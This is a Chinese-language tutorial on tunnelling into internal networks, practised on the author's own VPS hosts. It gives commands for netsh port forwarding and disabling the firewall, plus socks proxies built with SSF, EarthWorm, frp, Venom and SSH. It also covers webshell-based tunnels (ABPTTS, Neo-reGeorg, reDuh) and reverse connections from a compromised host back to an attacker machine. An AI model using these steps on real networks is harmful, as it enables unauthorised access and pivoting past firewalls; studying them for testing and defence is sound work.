内网穿透
0x00 环境-工具
0x00-1 靶场介绍
以下端口转发和代理都是自己的VPS做演练。
Linux: 207.148.119.98
Windows: 45.76.153.192
0x00-2用到的转发|代理工具:
ssf https://www.ctolib.com/article/releases/68618
abptts https://github.com/nccgroup/ABPTTS
earthworm http://rootkiter.com/EarthWorm
frp https://github.com/fatedier/frp
Neo-reGeorg https://github.com/L-codes/Neo-reGeorg
reDuh https://github.com/sensepost/reDuh
Venom https://github.com/Dliv3/Venom
https://github.com/Dliv3/Venom/releases/download/v1.1.0/Venom.v1.1.0.7z
0x00-3 流量代理工具
proxifier https://www.proxifier.com
proxychains apt install proxychains
0x01 netsh端口转发
条件:管理员权限 用windows自带的netsh
netsh firewall show config 查看防火墙配置
netsh firewall show state 查看当前系统防火墙状态
netsh interface portproxy show all 查看端口转发
把来自外部的 tcp 的 10086 端口流量全部转发到内网机器的 3389 端口上
建立规则:
netsh advfirewall firewall add rule name="aaaaaa" dir=in action=allow protocol=TCP localport=10086
netsh interface portproxy add v4tov4 listenport=10086 connectaddress=127.0.0.1 connectport=3389
netsh firewall show state
netsh interface portproxy show all
删除规则:
netsh advfirewall firewall delete rule name="aaaaaa" dir=in protocol=TCP localport=10086
netsh interface portproxy delete v4tov4 listenport=10086
netsh firewall show state
netsh interface portproxy show all
远程登陆连接目标IP:10086端口
a) 关于 netsh 在 2003 下的操作命令相对于之后的系统有所不同,这里稍微注意下
# netsh firewall show state 查看当前系统防火墙状态
# netsh firewall set opmode disable 关闭当前系统防火墙
# netsh firewall set opmode enable 启用当前系统防火墙
b) 对于 2003 以后的系统,可使用如下的命令管理防火墙
# netsh advfirewall show allprofiles 查看当前系统所有网络类型的防火墙状态,比如,私有,公共,域网络
# netsh advfirewall set allprofiles state off 关闭当前系统防火墙
# netsh advfirewall set allprofiles state on 启用当前系统防火墙
# netsh advfirewall reset 重置当前系统的所有防火墙规则,会初识到刚装完系统的状态
# netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" 自定义防火墙日志位置
add 为增加规则,
delete 为删除规则
allow 为允许连接,
block 为阻断连接
in 为入站,
out 为出站
name 为要显示的规则名称
0x02 ssf正反向跨平台socks代理
反向代理:将ssf.exe和certs文件夹传到靶机里,然后在ssf.exe的目录下运行程序
正向代理:将ssfd.exe和certs文件夹传到靶机里,然后在ssfd.exe的目录下运行程序
0x02-1 SSF 反向 socks 代理
靶机 Linux 207.148.119.98
攻击机 Windows 45.76.153.192 安装proxifier做socks代理
第一步:本地监听1050端口
ssfd.exe -p 1050
./ssfd -p 1050
第二步:目标边界连接我们的1050端口,并将数据转发给1051端口
ssf.exe -F 1051 -p 1050 45.76.153.192
./ssf -F 1051 -p 1050 45.76.153.192
第三步:本地proxifier代理本地127.0.0.1的1051端口
第四步:成功代理上目标边界,现在即可访问内网
0x02-2 SSF 正向 socks 代理
为什么要讲正向代理呢,要是目标的防火墙设置比较严,只准进不准出,而我们又没有权限更改防火墙规则
那么我们就可以可以正向socks代理进去
靶机 45.76.153.192 ssfd.exe -p 1050 监听
攻击机 207.148.119.98 ./ssf -D 1051 -p 1050 45.76.153.192 正向连接
第一步:目标边界监听1050端口
ssfd.exe -p 1050
./ssfd -p 1050
第二步:攻击机连接目标边界的1050端口,并将数据转发给1051端口
ssf.exe -D 1051 -p 1050 45.76.153.192
./ssf -D 1051 -p 1050 45.76.153.192
第三步:本地proxifier代理本地127.0.0.1的1051端口
0x03 abptts正向端口转发
靶机 45.76.153.192 放置webshell
攻击机 207.148.119.98 python abpttsclient.py -c webshell/config.txt -u "http://45.76.153.192/abptts.jsp" -f 127.0.0.1:33389/127.0.0.1:3389
0x03-1 安装
git clone https://github.com/nccgroup/ABPTTS.git
apt install python-setuptools
apt install python-pip
pip install --upgrade pip
python -m pip install pycrypto
python -m pip install pycryptodome
python -m pip install httplib2
cd ABPTTS
python abpttsfactory.py -o webshell
0x02 目标边界上传脚本
0x03 攻击机连接
命令格式:
python abpttsclient.py -c webshell/config.txt -u "http://192.168.1.119/abptts.aspx" -f 本地内网IP:本地端口/目标边界内网IP:需要转发的目标边界的端口
# 将目标边界的3389转发到本地的33389端口上
python abpttsclient.py -c webshell/config.txt -u "http://45.76.153.192/abptts.jsp" -f 127.0.0.1:33389/127.0.0.1:3389
0x04 earthworm正反向跨平台socks代理
ew_for_Win.exe
-h 查看帮助
-s 指定链路状态(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、 lcx_tran)
ssocksd:正向socks5代理连接;
rcsocks、rssocks:反向socks5代理连接;
lcx_slave、lcx_listen:端口转发;
lcx_tran:端口映射;
-l 开放指定端口监听;
-d 指定转发或反弹的主机地址;
-e 指定转发或反弹的主机端口;
-f 指定连接或映射的主机地址;
-g 指定连接或映射的主机端口;
-t 设置超时时间,默认为10000毫秒,即10秒(单位毫秒,-h显示有误);
-v 显示版本;
-a 显示关于页面;
正向代理 ssocksd
反向代理 rcsocks,rssocks
端口转发 lcx_listen,lcx_slave,lcx_tran
0x04-1 反向socks代理
攻击机: 45.76.153.192 ew_for_Win.exe -s rcsocks -l 1080 -e 53 监听
目标边界: 207.148.119.98 ew_for_Win.exe -s rssocks -d 45.76.153.192 -e 53 反向连接
攻击机监听:
目标边界反弹:
攻击机成功收到
proxifier代理
0x04-2 正向socks代理
目标边界: 45.76.153.192 ew_for_Win.exe -s ssocksd -l 10085 开启监听
攻击机: 207.148.119.98 proxifier或者proxychains代理 45.76.153.192 10085
目标边界监听
攻击机配置代理
vi /etc/proxychains.conf
socks5 45.76.153.192 10085
攻击机使用代理执行命令
proxychains curl http://ip-api.com/json/?lang=zh-CN
成功代理
0x05 frp反向socks代理
0x05-1 工具下载地址
https://github.com/fatedier/frp/releases/download/v0.28.2/frp_0.28.2_windows_amd64.zip
https://github.com/fatedier/frp/releases/download/v0.28.2/frp_0.28.2_windows_386.zip
https://github.com/fatedier/frp/releases/download/v0.28.2/frp_0.28.2_linux_amd64.tar.gz
https://github.com/fatedier/frp/releases/download/v0.28.2/frp_0.28.2_linux_386.tar.gz
0x05-2 反向代理
攻击机: 45.76.153.192 frps.exe -c frps.ini 开启监听
目标边界: 207.148.119.98 ./frpc -c frpc.ini 反向连接
攻击机监听:
攻击机先配置frps.ini文件
# frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = www.nat.ee
开始监听
frps.exe -c frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
目标边界反向连接
目标边界先配置frpc.ini文件
# frpc.ini
[common]
server_addr = 45.76.153.192 # 自己公网VPS的IP
server_port = 7000 # 自己公网VPS监听的端口
token = www.nat.ee # 必须得有,否则会authorization failed
[http_proxy]
type = tcp
#local_ip = 127.0.0.1
#local_port = 22
remote_port = 8010 # 公网VPS的proxifier设置的端口
plugin = socks5 # 使用插件socks代理
plugin_user = abc # proxifier连接的账号密码
plugin_passwd = abc
执行反向连接命令:
./frpc -c frpc.ini
[common]
server_addr = 45.76.153.192
server_port = 7000
[http_proxy]
type = tcp
remote_port = 8010
plugin = socks5
攻击机成功收到
proxifier设置45.76.153.192 8010
并输入账号密码 abc abc
成功代理
0x06 Neo-reGeorg正向socks代理
目标边界: 45.76.153.192 放置webshell
攻击机: 207.148.119.98 python neoreg.py -k 123456 -u http://45.76.153.192:8080/tunnel.jsp
0x06-1 webshell生成
python neoreg.py generate -k 123456
0x06-2 目标边界上传脚本
0x06-3 攻击机连接
使用 neoreg.py 连接WEB服务器,在本地建立 socks 代理
python neoreg.py -k 123456 -u http://45.76.153.192:8080/tunnel.jsp
修改proxychains.conf,socks5 127.0.0.1 1080
使用proxychains成功代理上
0x07 reDuh正向端口转发
目标边界: 45.76.153.192 放置webshell
攻击机: 207.148.119.98 java -jar reduhclient.jar http://目标域名/reduh.php
0x07-1 目标边界放置webshell
0x07-2 攻击机连接
java -jar reduhclient.jar http://45.76.153.192:8080/reDuh.jsp
0x07-3 绑定端口-建立隧道
telnet 127.0.0.1 1010
0x07-4 端口转发
[createTunnel]要绑定到本地哪个端口上[8888]:127.0.0.1:要绑定远程机器上的哪个端口[3389,22]
[createTunnel]8888:127.0.0.1:3389
成功连接
0x08 venom反向socks代理
目标边界: 45.76.153.192 agent.exe -rhost 207.148.119.98 -rport 9999
攻击机: 207.148.119.98 ./admin_linux_x86 -lport 9999
0x08-1 攻击机监听
./admin_linux_x86 -lport 9999
0x08-2 靶机反向连接
agent.exe -rhost 207.148.119.98 -rport 9999
0x08-3 攻击机成功接收
show 展现节点
goto 1 进入节点1
socks 6666 做socks代理,代理只需要连接207.148.119.98 6666即可代理上45.76.153.192
shell 进入交互式终端执行命令
成功代理
0x09 ssh端口转发和socks代理
-f 后台运行
-C 允许压缩数据
-N 不执行任何命令
-R 将端口绑定到远程服务器,反向代理
-L 将端口绑定到本地客户端,正向代理
下面的例子里,ssh端口是5510
60.247.XXX.XXX 香港VPS 模拟外网VPS
122.114.XXX.XXX 河南郑州VPS 模拟内网服务器
0x09-1 本地转发
ssh -fCNL <local port>:<remote host>:<remote port> <SSH hostname>
local port:转发到本地的端口
remote host:远程服务器的IP
remote port:远程服务器的端口
SSH hostname:本地服务器的IP或者主机名
因为是本地转发,将本地的88端口转发到本地的89端口,所以
local port = 89
remote host = 127.0.0.1
remote port = 88
SSH hostname = 127.0.0.1
-p参数指向本地服务器ssh的端口
在内网的服务器上运行
ssh -fCNL 89:127.0.0.1:88 127.0.0.1 -p 5510
curl http://127.0.0.1:89
本地转发需要输入当前服务器的密码
可以看到成功转发
0x09-2 远程端口转发
ssh -fCNR <remote port>:<local host>:<local port> <remote host>
将local host的local port转发到remote host的remote port
提示输入remote host的密码
在内网的服务器上(122.114.XXX.XXX)运行, 前提是内网服务器能够ssh到远程服务器60.247.XXX.XXX。将当前服务器的5510端口转发到远程服务器60.247.XXX.XXX的5500端口
ssh -fCNR 5500:127.0.0.1:5510 root@60.247.XXX.XXX -p 5510
在外网自己的服务器(60.247.XXX.XXX)上运行,ssh外网自己服务器的5500端口就被转发到了内网服务器的5510端口
ssh root@127.0.0.1 -p 5500
在内网服务器输入下面命令进行端口转发,需要输入远程服务器的密码
远程服务器(60.247.XXX.XXX)输入下面命令,ssh本地的5500端口,就会ssh到内网服务器(122.114.XXX.XXX)去
0x09-3 socks代理
建立反向代理呢?其实就是把正向代理和转发结合起来即可
前提条件:需要知道内网服务器的密码
内网进行端口转发,将本地的ssh端口5510转发到远程的5500端口,需要输入远程服务器的密码
ssh -qngfNTR 5500:localhost:5510 root@60.247.XXX.XXX -p 5510
外网进行正向socks代理,ssh连接本地的5500端口,即连接到内网服务器,然后搭建正向socks代理。代理端口为6767,需要输入内网服务器的密码
ssh -qngfNTD 6767 root@127.0.0.1 -p 5500
在内网输入下面命令,将内网的ssh端口转发到外网服务器的某个端口上
在外网的服务器输入下面命令,ssh连接本地的5500端口,即连接到内网服务器,然后搭建正向socks代理,socks端口为6767,需要输入内网服务器的密码
proxifier连接远程服务器的6767端口
0x09-4 删除端口转发
ps aux | grep ssh
kill <id>
kill -9 <id>